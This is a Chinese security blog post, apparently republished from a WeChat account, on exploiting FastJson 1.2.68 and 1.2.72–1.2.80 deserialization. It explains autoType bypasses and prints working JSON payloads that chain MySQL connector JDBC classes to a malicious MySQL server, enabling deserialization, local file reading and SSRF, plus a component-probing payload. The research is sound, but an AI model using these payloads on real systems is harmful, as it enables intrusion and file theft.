FastJson1.68&1.80版本反序列化利用

admin 2024年5月13日01:29:22评论28 views字数 6410阅读21分22秒阅读模式

前言

FastJson在1.2.25版本以后默认关闭了autoTypeSupport。所有反序列化的类以下任意条件可以成功反序列化:

  • 在白名单中。关键字为:internalWhite,白名单参考0x05其他内容。
  • 该类在Fastjson缓存当中,当其他类被反序列化过后这个类会加入Fastjson缓存当中。关键字为:TypeUtils.mappings
  • 在Deserializers中(这个类似缓存列表,也是预先加进去的一些反序列化器)详见com/alibaba/fastjson/parser/ParserConfig.java#initDeserializers
  • 在checkAutoType时存在expectClass并且待反序列化的类是其子类,详见0x05其他内容8。
  • 开启autoTypeSupport。

0x01 判断组件是否存在

{"@type":"java.lang.Character"{"@type":"java.lang.Class","val":"com.mysql.jdbc.Driver"}}

java.lang.Character和java.lang.Class都在白名单当中,其中class会去加载val中的类,而java.lang.Character的反序列化器CharacterCodec会试图将内容转换为Char导致报错。

FastJson1.68&1.80版本反序列化利用
image-20230921154457143

java.lang.Character一般情况下默认就会在fastjson的缓存当中,java.lang.Class也存在于Deserializers中。

1.2.72<版本<=1.2.80已知存在利用链,值得判断的组件有:

  • org.postgresql.jdbc.PgConnection#postgresql组件
  • com.mysql.jdbc.Driver#mysql connector/java组件
  • org.codehaus.groovy.control.CompilationFailedException#groovy组件
  • org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException#aspectjtools
  • ognl.OgnlException 和 org.apache.commons.io.input.BOMInputStream  #ognl(Struts、MyBatis中都有使用)和commons-io组件

0x02 1.2.72<版本<=1.2.80基础利用链

  • JSONObject加载类的属性到fastjson缓存中,其中属性名要有对应setter方法,setter设置的属性名就会被加入到fastjson的ParserConfig.deserializers缓存当中。这里用ognl利用链来说明。

    FastJson1.68&1.80版本反序列化利用
    image-20230927110719416
  • 这里利用Exception期望类将ognl.OgnlException加入缓存。

    {"@type":"java.lang.Exception","@type":"ognl.OgnlException"}

    再通过JavaBeanDeserializer将该类其中一个public属性实例化,实例化的同时会被加入到ParserConfig.deserializers缓存当中。

    {"@type":"java.util.Locale","val":{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.lang.String""@type":"ognl.OgnlException","_evaluation":{}}}
    FastJson1.68&1.80版本反序列化利用
    image-20230927102156500
  • ognl.Evaluation在之后的反序列化过程中会使用javaBeanDeserializer。

  • 在之后的利用过程中,实例化的类只需要满足”是预期类的子类“,这里的"预期类"一般为构造函数或setter方法的参数类型,所以序列化的类只要是预期类的子类即可通过checkAutoType检查,还会被加入缓存当中。

FastJson1.68&1.80版本反序列化利用
image-20230927152038003

0x03加载子类进fastjson缓存

{"@type":"类","@type":"子类"}

经过测试在javaBeanDeserializer和ThrowableDeserializer反序列化流程中会将后面跟着的子类加到fastjson缓存当中,其他反序列化器加不加没看。通过0x02方式加入fastjson缓存的类都会使用javaBeanDeserializer反序列化器。

0x04 Fastjson1.2.68 X JDBC

在mysql-connector-java的不同版本中存在着一些类,这些类继承了java.lang.AutoCloseable,导致可以通过0x03的方式加载进fastjson缓存当中。其中不同版本存在的利用链如下。(关于jdbc反序列化漏洞可以通过查看我公众号其他文章来了解)在反序列化、任意文件读取的同时也可以ssrf。

• Mysql connector 5.x(成功利用后会报错结束)

{"@type":"java.lang.AutoCloseable","@type":"com.mysql.jdbc.JDBC4Connection","hostToConnectTo":"mysql.host","portToConnectTo":3306,"info":{"user":"user","password":"pass","statementInterceptors":"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor","autoDeserialize":"true","NUM_HOSTS""1"},"databaseToConnectTo":"dbname" , "url":""}

• Mysql connector 6.0.2 or 6.0.3 (在测试过程中,服务器会一直重复给恶意mysql服务器发送文件信息,不会自己停下来,所以可能存在DOS攻击的风险)

{"@type""java.lang.AutoCloseable" ,"@type""com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection" ,"proxy":{"connectionString":{"url""jdbc:mysql://localhost:3306/foo?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"}}}

• Mysql connector 8.0.19(反序列化) 以及以上版本(ssrf) (在测试过程中,服务器会一直重复给恶意mysql服务器发送文件信息,不会自己停下来,所以可能存在DOS攻击的风险)

{"@type":"java.lang.AutoCloseable","@type":"com.mysql.cj.jdbc.ha.ReplicationMySQLConnection","proxy":{"@type":"com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy","connectionUrl":{ "@type":"com.mysql.cj.conf.url.ReplicationConnectionUrl" , "masters": [{"host":"mysql.host"}], "slaves":[], "properties":{"host":"mysql.host","port":"mysql.port","user":"user","dbname":"dbname","password":"pass","queryInterceptors":"com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor","autoDeserialize":"true"}}}}

同时,不只是反序列化,也可以用作任意文件读取。(关于jdbc任意文件读取可以通过查看我公众号其他文章来了解)

• Mysql connector 6.0.2 or 6.0.3 (在测试过程中,服务器会一直重复给恶意mysql服务器发送文件信息,不会自己停下来,所以可能存在DOS攻击的风险)

{"@type""java.lang.AutoCloseable" ,"@type""com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection" ,"proxy":{"connectionString":{"url""jdbc:mysql://localhost:3306/foo?allowLoadLocalInfile=true"}}}

• Mysql connector 8.0.19(反序列化) 以及以上版本(ssrf) (在测试过程中,服务器会一直重复给恶意mysql服务器发送文件信息,不会自己停下来,所以可能存在DOS攻击的风险)

{"@type":"java.lang.AutoCloseable","@type":"com.mysql.cj.jdbc.ha.ReplicationMySQLConnection","proxy":{"@type":"com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy","connectionUrl":{ "@type":"com.mysql.cj.conf.url.ReplicationConnectionUrl" , "masters": [{"host":"mysql.host"}], "slaves":[], "properties":{"host":"mysql.host","user":"user","dbname":"dbname","password":"pass","allowLoadLocalInfile":"true"}}}}

在1.2.69的更新当中将java.lang.Runnable,java.lang.Readable和java.lang.AutoCloseable加入了黑名单,至此无法利用。

0x05其他

  1. exectClass期望的类型:
  • java.io.Serializable
  • java.lang.Cloneable
  • java.io.Closeable
  • java.lang.AutoCloseable
  • java.lang.Readable
  • java.lang.Runnable
  • java.util.EventListener
  • java.lang.Iterable
  • java.util.Collection
  • java.lang.Object
  1. 白名单中的类:
  • 参考LeadroyaL/fastjson-blacklist (github.com)
  1. 判断safeMode是否开启。
  • 如果返回autoType is not support. com.sun.rowset.JdbcRowSetImpl则表示没开启safemode,返回safeMode not support autoType表示开启
  1. 通过报错判断是否存在组件。
  • {"@type":"java.lang.Character"{"@type":"java.lang.Class","val":"com.mysql.jdbc.Driver"}}
  1. 在1.47之前可以通过java.lang.Class将其他类加入缓存当中,之后序列化该类就不会受到白名单限制。该漏洞的修复方式是java.lang.Class类对val类无法再将其加入缓存中。详情见com/alibaba/fastjson/serializer/MiscCodec.java#359
  2. 不同的类会使用不同的反序列化器如java.lang.Class使用MiscCodec,java.lang.Character使用CharacterCodec。详见com/alibaba/fastjson/parser/DefaultJSONParser.java#396同时可以参考com/alibaba/fastjson/parser/ParserConfig.java#initDeserializers查看具体的反序列化器配置结果。
  3. 如果是MiscCodec反序列化器的,其参数都需要用"val"指名,而其他反序列化器的参数则各有各的判断方式,StringCodec可以直接跟"@type"。
  4. 在checkAutoType时存在预期类(expectClass),并且待反序列化的类是其子类即可加入到fastjson缓存当中。
FastJson1.68&1.80版本反序列化利用
image-20230922102343835
  1. 之所以1.2.72<版本<=1.2.80的版本要大于1.2.72原因是因为在1.2.73版本修复了类属性即使不需要Annotation只要期待类和实际类不相同也可以进入fieldDeser.parseField流程。
FastJson1.68&1.80版本反序列化利用
image-20230927165017290

10.在构造反序列化利用链时需要注意只有public级别的构造函数可以在fastjson反序列化字符串中构造。否则会出现 default constructor not found. 的问题。

11.在javaBeanDeserializer反序列化过程中,在JavaBeanInfo的build函数中决定反序列化对象使用的构造函数。

12.$ref可以用来获取对象属性,同时也可以用来触发getter。

13.Fastjson在反序列化的过程中会优先使用无参数构造函数,如果没有就会选择使用参数最多的构造函数。据说是为了兼容bean和java原生类的写法。

14.关于0x04互联网上传播的第三部分的poc大部分都说是6.0.3-8.x版本可利用,但在8.0.18以下版本LoadBalancedConnectionProxy、ReplicationConnectionProxy的构造函数都不支持ConnectionUrl类型而是ReplicationConnectionUrl和LoadbalanceConnectionUrl。

  • 其中LoadbalanceConnectionUrl的两个构造函数参数数量相同会默认选第一个构造函数,而第一个构造函数的第一个参数的构造函数是私有的,所以无法利用(自测结果,可能有些地方有疏忽)。
  • 而ReplicationConnectionProxy的构造函数变为私有的,所以也无法利用。

15.关于fastjson1.2.68的几个jdbc利用链,6.0.2和8.0.19的payload都存在无法停止的情况。很明显的是6.0.2和8.0.19的payload都通过pickNewConnection进行连接的, 这里留着以后看如何解决下吧。有大佬知道方法的欢迎公众号私信我。感谢!

参考链接

https://mp.weixin.qq.com/s/BRBcRtsg2PDGeSCbHKc0fg

创作不易,转载需注明出自公众号"地表最强伍迪哥"。如有描述错误的地方,请通过公众号联系我。谢谢。

原文始发于微信公众号(地表最强伍迪哥):FastJson1.68&1.80版本反序列化利用

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月13日01:29:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   FastJson1.68&1.80版本反序列化利用https://cn-sec.com/archives/2080515.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息